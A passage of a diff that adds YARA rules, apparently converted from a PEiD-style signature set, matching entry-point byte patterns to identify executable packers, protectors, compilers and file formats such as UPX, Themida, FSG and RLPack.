+		$0 = {55 89 E5 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? 68}
+		$1 = {55 8B EC 83 C4 C0 53 56 57 33 C0 89 45 F0 89 45 C4 89 45 C0 E8 A7 7F FF FF E8 FA 92 FF FF E8 F1 B3 FF FF 33 C0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _REC_v034_3_
+{
+	meta:
+		description = "REC v0.34 [3"
+	strings:
+		$0 = {06 1E B4 30 CD 21 3C 02 73 ?? 33 C0 06 50 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _MPRESS_V077b__MATCODE_Software____20080313_
+{
+	meta:
+		description = "MPRESS V0.77b -> MATCODE Software   * 20080313"
+	strings:
+		$0 = {60 E8 0B 00 00 00 E8 77 00 00 00 61 E9 75 01 00 00 E8 00 00 00 00 58 05 75 01 00 00 8B 30 03 F0 2B C0 8B FE 66 AD C1 E0 0C 8B C8 AD 2B C8 03 F1 8B C8 49 8A 44 39 06 74 05 88 04 31 EB F4 88 04 31 2B C0 3B FE 73 3A AC 0A C0 74 35 8A C8 24 3F 80 E1 C0 C1 E0 10 66 AD 80 F9 C0 74 1C F6 C1 40 75 08 8B C8 2B C0 F3 AA EB D7 8B D6 8B CF 03 F0 E8 7E 00 00 00 03 F8 EB C8 8B C8 F3 A4 75 FC EB C0 C3 E8 00 00 00 00 5F 81 C7 79 FF FF FF B0 E9 AA B8 81 01 00 00 AB 2B FF E8 00 00 00 00 58 05 ED 00 00 00 8B 78 08 8B D7 8B 78 04 0B FF 74 42 8B 30 03 F0 2B F2 8B EE 8B 48 10 2B CD 74 33 8B 50 0C 03 F2 03 FE 2B C0 AD 3B F7 73 25 8B D8 AD 3B F7 73 1E 8B D0 83 EA 08 03 D6 66 AD 0A E4 74 0B 25 FF 0F 00 00 03 C3 03 C5 29 08 3B F2 73 D8 EB E9 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _TurboBAT_v310__50_Patched_
+{
+	meta:
+		description = "TurboBAT v3.10 .. 5.0 (Patched)"
+	strings:
+		$0 = {90 90 90 90 90 90 90 06 B8 ?? ?? 8E C0 B9 ?? ?? 26 ?? ?? ?? ?? 80 ?? ?? 26 ?? ?? ?? 24 ?? 3A C4 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _Protect_40_EXE_
+{
+	meta:
+		description = "Protect! 4.0 [EXE]"
+	strings:
+		$0 = {8C DB 0E 0E 1F 07 B9 00 00 E8 00 00 5E 81 C6 11 00 89 F7 AC 34 00 AA E2 FA 8E DB 8E C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Diet_145f_EXE_
+{
+	meta:
+		description = "Diet 1.45f [EXE]"
+	strings:
+		$0 = {F9 9C EB 09 00 00 0A 00 00 00 55 F8 9C 06 1E 57 56 52 51 53 50 0E FC 8C C8 BA 00 00 03 D0 52 BA 00 00 52 BA 00 00 03 C2 8B D8 05 00 00 8E DB 8E C0 33 F6 33 FF B9 08 00 F3 A5 4B 48 4A 79 EE 8E C3 8E D8 BE 67 00 AD 8B E8 B2 10 CB 64 6C 7A}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Basic_Compiler_v560_198297_
+{
+	meta:
+		description = "Microsoft Basic Compiler v5.60 1982-97"
+	strings:
+		$0 = {9A ?? ?? ?? ?? 9A ?? ?? ?? ?? 9A ?? ?? ?? ?? 33 DB BA ?? ?? 9A ?? ?? ?? ?? C7 06 ?? ?? ?? ?? 33 DB}
+	condition:
+		$0 at entrypoint
+}
+rule _Banners_banner_file_
+{
+	meta:
+		description = "Banner's banner file"
+	strings:
+		$0 = {D1 BA 01 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_1337_20070623__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.3.7 (2007.06.23) -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 27 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 23 EB 03 ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 01 ?? 50 EB 02 ?? ?? 33 C0 EB}
+		$1 = {EB 02 ?? ?? E8 27 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 23 EB 03 ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 01 ?? 50 EB 02 ?? ?? 33 C0 EB 01 ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 04 ?? ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 01 ?? 58 EB 04 ?? ?? ?? ?? EB 01 ?? 64 67 8F 06 00 00 EB 02 ?? ?? 83 C4 04 EB 01 ?? E8 F7 26 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Splash_Bitmap_v100_With_Unpack_Code__BoB__Bobsoft_
+{
+	meta:
+		description = "Splash Bitmap v1.00 (With Unpack Code) --> BoB / Bobsoft"
+	strings:
+		$0 = {E8 00 00 00 00 60 8B 6C 24 20 55 81 ED ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 29 F9 31 C0 FC F3 AA 8B 04 24 48 66 25 00 F0 66 81 38 4D 5A 75 F4 8B 48 3C 81 3C 01 50 45 00 00 75 E8 89 85 ?? ?? ?? ?? 6A 40}
+		$1 = {E8 00 00 00 00 60 8B 6C 24 20 55 81 ED ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 29 F9 31 C0 FC F3 AA 8B 04 24 48 66 25 00 F0 66 81 38 4D 5A 75 F4 8B 48 3C 81 3C 01 50 45 00 00 75 E8 89 85 ?? ?? ?? ?? 6A 40}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FSG_131_Eng__dulekxt_
+{
+	meta:
+		description = "FSG 1.31 (Eng) -> dulek/xt"
+	strings:
+		$0 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 BB ?? ?? ?? 00 B2 80 A4 B6 80 FF D3 73 F9 33 C9 FF D3 73 16 33 C0 FF D3 73 23 B6 80 41 B0 10 FF D3 12 C0 73 FA 75 42 AA EB E0 E8 46 00 00 00 02 F6 83 D9 01 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 48 13 C9 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _PROMIDI_Music_file_
+{
+	meta:
+		description = "PRO-MIDI Music file"
+	strings:
+		$0 = {52 49 46 46 ?? ?? ?? ?? 52 4D 49 44}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_PESHiELD_025__emadicius_
+{
+	meta:
+		description = "MSLRH v0.32a (fake PESHiELD 0.25) -> emadicius"
+	strings:
+		$0 = {60 E8 2B 00 00 00 0D 0A 0D 0A 0D 0A 52 65 67 69 73 74 41 72 65 64 20 74 6F 3A 20 4E 4F 4E 2D 43 4F 4D 4D 45 52 43 49 41 4C 21 21 0D 0A 0D 0A 0D 00 58 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+		$1 = {60 E8 2B 00 00 00 0D 0A 0D 0A 0D 0A 52 65 67 69 73 74 41 72 65 64 20 74 6F 3A 20 4E 4F 4E 2D 43 4F 4D 4D 45 52 43 49 41 4C 21 21 0D 0A 0D 0A 0D 00 58 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _aPack_098_i_m_COM_
+{
+	meta:
+		description = "aPack 0.98 -i -m [COM]"
+	strings:
+		$0 = {8C C8 05 00 00 8E C0 59 8E D0 51 BE 00 01 BF 00 01 50 57 FC B2 80 BD 00 01 50 AC F6 D0 AA FF D5 73 F8 FF D5 41 73 12 FF D5 BB 10 00 72 24 FF D5 12 DB 73 FA 75 00 93 EB 00 B7 01 FF D5 12 FF 72 00 FF D5 72 F6 FF D5 13 C9 FF D5 72 F8 80 EF 03}
+	condition:
+		$0 at entrypoint
+}
+rule _PEStubOEP_v1x_
+{
+	meta:
+		description = "PEStubOEP v1.x"
+	strings:
+		$0 = {40 48 BE 00 ?? ?? 00 40 48 60 33 C0 B8 ?? ?? ?? 00 FF E0 C3 C3}
+	condition:
+		$0
+}
+rule _PseudoSigner_01_FSG_10_
+{
+	meta:
+		description = "PseudoSigner 0.1 [FSG 1.0"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 BB D0 01 40 00 BF 00 10 40 00 BE 90 90 90 90 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B E9}
+		$1 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 BB D0 01 40 00 BF 00 10 40 00 BE 90 90 90 90 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Xenocode_Virtual_Application_Studio_2009__Xenocode__20090203_
+{
+	meta:
+		description = "Xenocode Virtual Application Studio 2009 -> Xenocode * 20090203"
+	strings:
+		$0 = {58 00 65 00 6E 00 6F 00 63 00 6F 00 64 00 65 00 20 00 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 20 00 41 00 70 00 70 00 6C 00 69 00 61 00 6E 00 63 00 65 00 20 00 52 00 75 00 6E 00 74 00 69 00 6D 00 65 00 00 00 00 00 30 00 78 00 30 00 30 00 31 00 31 00 00 00 00 00 30 00 78 00 30 00 30 00 31 00 32 00 3A 00 20 00 00 00 00 00 30 00 78 00 30 00 30 00 31 00 33 00 00 00 00 00 30 00 78 00 30 00 30 00 31 00 34 00 00 00 00 00 30 00 78 00 30 00 30 00 31 00 35 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v036_alpha_
+{
+	meta:
+		description = "Upack v0.36 alpha"
+	strings:
+		$0 = {AB E2 E5 5D 59 8B 76 68 51 59 46 AD 85 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _ThemidaWinLicense_V1000V1800__Oreans_Technologies_
+{
+	meta:
+		description = "Themida/WinLicense V1.0.0.0-V1.8.0.0 -> Oreans Technologies"
+	strings:
+		$0 = {B8 00 00 00 00 60 0B C0 74 58 E8 00 00 00 00 58 05 ?? 00 00 00 80 38 E9 75 ?? 61 EB ?? E8 00 00 00 00}
+		$1 = {B8 00 00 00 00 60 0B C0 74 58 E8 00 00 00 00 58 05 ?? 00 00 00 80 38 E9 75 ?? 61 EB ?? E8 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PKLite_105_COM_
+{
+	meta:
+		description = "PKLite 1.05 [COM]"
+	strings:
+		$0 = {B8 00 00 BA 00 00 3B C4 73 67 8B C4 2D 44 03 25 F0 FF 8B F8 B9 A2 00 BE 7C 01 FC F3 A5 8B D8 B1 04 D3 EB 8C D9 03 D9 53 33 DB 53 CB 05 01 50 4B 4C 49 54 45 20 43 6F 70 72 2E 20 31 39 39 31 20}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_180_
+{
+	meta:
+		description = "Armadillo 1.80"
+	strings:
+		$0 = {55 8B EC 6A FF 68 00 00 40 00 68 00 00 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 00 53 56 57 89 65 E8 FF 15 00 00 40 00 33 D2 8A D4 89 15 00 00 40 00 8B C8 81 E1 FF 00 00 00 89 0D 00 00 40 00 C1 E1 08 03 CA 89 0D 00 00 40 00 C1}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_070_PE_DLL_
+{
+	meta:
+		description = "UPX 0.70 [PE DLL]"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 99 01 00 00 60 E8 00 00 00 00 58 83 E8 48 50 8D B8 00 00 00 FF 57 66 81 87 00 00 00 00 00 00 8D B0 FC 01 00 00 83 CD FF 31 DB EB 0C 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_032a_fake_PESHiELD_025__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake PESHiELD 0.25) -> emadicius"
+	strings:
+		$0 = {60 E8 2B 00 00 00 0D 0A 0D 0A 0D 0A 52 65 67 69 73 74 41 72 65 64 20 74 6F 3A 20 4E 4F 4E 2D 43 4F 4D 4D 45 52 43 49 41 4C 21 21 0D 0A 0D 0A 0D 00 58 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_Install_System_v1xx__Nullsoft_
+{
+	meta:
+		description = "Nullsoft Install System v1.xx -> Nullsoft"
+	strings:
+		$0 = {83 EC 0C 53 56 57 FF 15 ?? ?? 40 00 05 E8 03 00 00 BE ?? ?? ?? 00 89 44 24 10 B3 20 FF 15 28 80 40 00 68 00 04 00 00 FF 15 ?? 81 40 00 50 56 FF 15 ?? 81 40 00 80 3D ?? ?? ?? 00 22 75 08 80 C3 02 BE ?? ?? ?? 00 8A 06 8B 3D F4 81 40 00 84 C0 74 19 3A C3 74 0B 56 FF D7 8B F0 8A 06 84 C0 75 F1 80 3E 00}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v305c4_Extractable_p_Virus_Shield_
+{
+	meta:
+		description = "WWPACK v3.05c4 (Extractable + Virus Shield)"
+	strings:
+		$0 = {03 05 40 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _Mew_11_SE_v12_Eng__Northfox_
+{
+	meta:
+		description = "Mew 11 SE v1.2 (Eng) -> Northfox"
+	strings:
+		$0 = {06 1E 52 B8 ?? ?? 1E CD 21 86 E0 3D}
+		$1 = {E9 ?? ?? ?? FF 0C ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 0C}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Aase_Crypter__by_santasdad_
+{
+	meta:
+		description = "Aase Crypter - by santasdad"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 53 B8 A0 3E 00 10 E8 93 DE FF FF 68 F8 42 00 10 E8 79 DF FF FF 68 00 43 00 10 68 0C 43 00 10 E8 42 DF FF FF 50 E8 44 DF FF FF A3 98 66 00 10 83 3D 98 66 00 10 00 75 13 6A 00 68 18 43 00 10 68 1C 43 00 10 6A 00 E8 4B DF FF FF 68 2C 43 00}
+		$1 = {55 8B EC 83 C4 F0 53 B8 A0 3E 00 10 E8 93 DE FF FF 68 F8 42 00 10 E8 79 DF FF FF 68 00 43 00 10 68 0C 43 00 10 E8 42 DF FF FF 50 E8 44 DF FF FF A3 98 66 00 10 83 3D 98 66 00 10 00 75 13 6A 00 68 18 43 00 10 68 1C 43 00 10 6A 00 E8 4B DF FF FF 68 2C 43 00 10 68 0C 43 ?? ?? ?? ?? DF FF FF 50 E8 0E DF FF FF A3 94 66 00 10 83 3D 94 66 00 10 00 75 13 6A 00 68 18 43 00 10 68 38 43 00 10 6A 00 E8 15 DF FF FF 68 48 43 00 10 68 0C 43 00 10 E8 D6 DE FF FF 50 E8 D8 DE FF FF A3 A0 66 00 10 83 3D A0 66 00 10 00 75 13 6A 00 68 18 43 00 10 68 58 43 00 10 6A 00 E8 DF DE FF FF 68 6C 43 00 10 68 0C 43 00 10 E8 A0 DE FF FF 50 E8 A2 DE FF FF}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _XComp_V098_LZMA__JoKo_
+{
+	meta:
+		description = "XComp V0.98 (LZMA) -> JoKo"
+	strings:
+		$0 = {68 ?? ?? ?? 00 9C 60 E8 75 06 00 00 34 ?? ?? 00 00 00 00 00 00 00 00 00 4C ?? ?? 00 34 ?? ?? 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ThemidaWinLicense_V18XV19X___Oreans_Technologies_
+{
+	meta:
+		description = "Themida/WinLicense V1.8.X-V1.9.X  -> Oreans Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 60 0B C0 74 68 E8 00 00 00 00 58 05 53 00 00 00 80 38 E9 75 13 61 EB 45 DB 2D ?? ?? ?? ?? FF FF FF FF FF FF FF FF 3D ?? ?? ?? ?? 00 00 58 25 00 F0 FF FF 33 FF 66 BB ?? ?? 66 83 ?? ?? 66 39 18 75 12 0F B7 50 3C 03 D0 BB ?? ?? ?? ?? 83 C3 ?? 39 1A 74 07 2D ?? ?? ?? ?? EB DA 8B F8 B8 ?? ?? ?? ?? 03 C7 B9 ?? ?? ?? ?? 03 CF EB 0A B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 50 51 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 58 2D ?? ?? ?? ?? B9 ?? ?? ?? ?? C6 00 E9 83 E9 05 89 48 01 61 E9}
+		$1 = {B8 ?? ?? ?? ?? 60 0B C0 74 68 E8 00 00 00 00 58 05 53 00 00 00 80 38 E9 75 13 61 EB 45 DB 2D ?? ?? ?? ?? FF FF FF FF FF FF FF FF 3D ?? ?? ?? ?? 00 00 58 25 00 F0 FF FF 33 FF 66 BB ?? ?? 66 83 ?? ?? 66 39 18 75 12 0F B7 50 3C 03 D0 BB ?? ?? ?? ?? 83 C3 ?? 39 1A 74 07 2D ?? ?? ?? ?? EB DA 8B F8 B8 ?? ?? ?? ?? 03 C7 B9 ?? ?? ?? ?? 03 CF EB 0A B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 50 51 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 58 2D ?? ?? ?? ?? B9 ?? ?? ?? ?? C6 00 E9 83 E9 05 89 48 01 61 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PESHiELD_01b_MTE__ANAKiN_DaVinci_
+{
+	meta:
+		description = "PESHiELD 0.1b MTE -> ANAKiN [DaVinci"
+	strings:
+		$0 = {E8 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? B9 1B 01 00 00 D1}
+	condition:
+		$0 at entrypoint
+}
+rule _FileShield_
+{
+	meta:
+		description = "FileShield"
+	strings:
+		$0 = {50 1E EB ?? 90 00 00 8B D8}
+		$1 = {50 1E EB ?? 90 00 00 8B D8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPX_Protector_v10x_2_
+{
+	meta:
+		description = "UPX Protector v1.0x (2)"
+	strings:
+		$0 = {EB ?? ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_12__c1998_Ian_Luck_
+{
+	meta:
+		description = "Petite 1.2 -> (c)1998 Ian Luck"
+	strings:
+		$0 = {66 9C 60 E8 CA 00 00 00 03 00 04 00 05 00 06 00 07 00 08 00 09 00 0A 00 0B 00 0D 00 0F 00 11 00 13 00 17 00 1B 00 1F 00 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 83 00 A3 00 C3 00 E3 00 02 01 00 00 00 00 00 00 00 00 00 00 00 00 01 01 01 01 02 02 02 02 03 03 03 03 04 04 04 04 05 05 05 05 00 70 70 01 00 02 00 03 00 04 00 05 00 07 00 09 00 0D 00 11 00 19 00 21 00 31 00 41 00 61 00 81 00 C1 00 01 01 81 01 01 02 01 03 01 04 01 06 01 08 01 0C 01 10 01 18 01 20 01 30 01 40 01 60 00 00 00 00 01 01 02 02 03 03 04 04 05 05 06 06 07 07 08 08 09 09 0A 0A 0B 0B 0C 0C 0D 0D 10 11 12 00 08 07 09 06 0A 05 0B 04 0C 03 0D 02 0E 01 0F 58 2C 08 50 8B C8 8B D0 81 C1 ?? D2 00 00 81 C2 ?? ?? 00 00 89 20 8B E1 50 81 2C 24 00 ?? ?? ?? FF 30 50 80 04 24}
+		$1 = {66 9C 60 E8 CA 00 00 00 03 00 04 00 05 00 06 00 07 00 08 00 09 00 0A 00 0B 00 0D 00 0F 00 11 00 13 00 17 00 1B 00 1F 00 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 83 00 A3 00 C3 00 E3 00 02 01 00 00 00 00 00 00 00 00 00 00 00 00 01 01 01 01 02 02 02}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RLPack__Ap0x_
+{
+	meta:
+		description = "RLPack --> Ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 EB 03 0C 00 00 EB 03 0C 00 00 8D B5 CB 22 00 00 8D 9D F0 02 00 00 33 FF E8 47 02 00 00 EB 03 15 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 9B 0A}
+		$1 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 2C 0A 00 00 8D 9D 22 02 00 00 33 FF E8 83 01 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 CD 09 00 00 89 85 14 0A 00 00 EB 14 60 FF B5 14 0A}
+		$2 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 5A 0A 00 00 8D 9D 40 02 00 00 33 FF E8 83 01 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 EB 09 00 00 89 85 3A 0A 00 00 EB 14 60 FF B5 3A 0A}
+		$3 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 EB 03 0C 00 00 EB 03 0C 00 00 8D B5 CB 22 00 00 8D 9D F0 02 00 00 33 FF E8 47 02 00 00 EB 03 15 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 9B 0A}
+		$4 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 8D B5 CB 22 00 00 8D 9D F0 02 00 00 33 FF E8 ?? ?? ?? ?? EB 03 ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 9B 0A}
+		$5 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 2C 0A 00 00 8D 9D 22 02 00 00 33 FF E8 ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 CD 09 00 00 89 85 ?? ?? ?? ?? EB 14 60 FF B5 14 0A}
+		$6 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 5A 0A 00 00 8D 9D 40 02 00 00 33 FF E8 ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 EB 09 00 00 89 85 ?? ?? ?? ?? EB 14 60 FF B5 3A 0A}
+		$7 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 8D B5 CB 22 00 00 8D 9D F0 02 00 00 33 FF E8 ?? ?? ?? ?? EB 03 ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 9B 0A}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 or $4 at entrypoint or $5 at entrypoint or $6 at entrypoint or $7 at entrypoint
+}
+rule _EXECryptor_V2223_protected_IAT__wwwstrongbitcom_
+{
+	meta:
+		description = "EXECryptor V2.2/2.3 (protected IAT) -> www.strongbit.com"
+	strings:
+		$0 = {CC ?? ?? ?? 00 00 00 00 FF FF FF FF 3C ?? ?? ?? B4 ?? ?? ?? 08 ?? ?? ?? 00 00 00 00 FF FF FF FF E8 ?? ?? ?? 04 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? 60 ?? ?? ?? 70 ?? ?? ?? 84 ?? ?? ?? 94 ?? ?? ?? A4 ?? ?? ?? 00 00 00 00 75 73 65 72 33 32 2E 64 6C 6C 00 00 00 00 4D 65 73 73 61 67 65 42 6F 78}
+	condition:
+		$0
+}
+rule _PPCPROTECT_10__Alexey_Gorchakov_
+{
+	meta:
+		description = "PPC-PROTECT 1.0 -> Alexey Gorchakov"
+	strings:
+		$0 = {FF 5F 2D E9}
+	condition:
+		$0 at entrypoint
+}
+rule _SDProtector_Pro_Edition_116__Randy_Li_
+{
+	meta:
+		description = "SDProtector Pro Edition 1.16 -> Randy Li"
+	strings:
+		$0 = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 18 33 C0 89 41 04 89 41}
+		$1 = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 18 33 C0 89 41 04 89 41 08 89 41 0C 89 41 10 59 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 33 C0 64 FF 30 64 89 20 9C 80 4C 24 01 01 9D 90 90 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 64 8F 00 58 74 07 75 05 19 32 67 E8 E8 74 27 75 25 EB 00 EB FC 68 39 44 CD 00 59 9C 50 74 0F 75 0D E8 59 C2 04 00 55 8B EC E9 FA FF FF 0E E8 EF FF FF FF 56 57 53 78 03 79 01 E8 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 93 03 00 00 03 C8 74 C4 75 C2 E8}
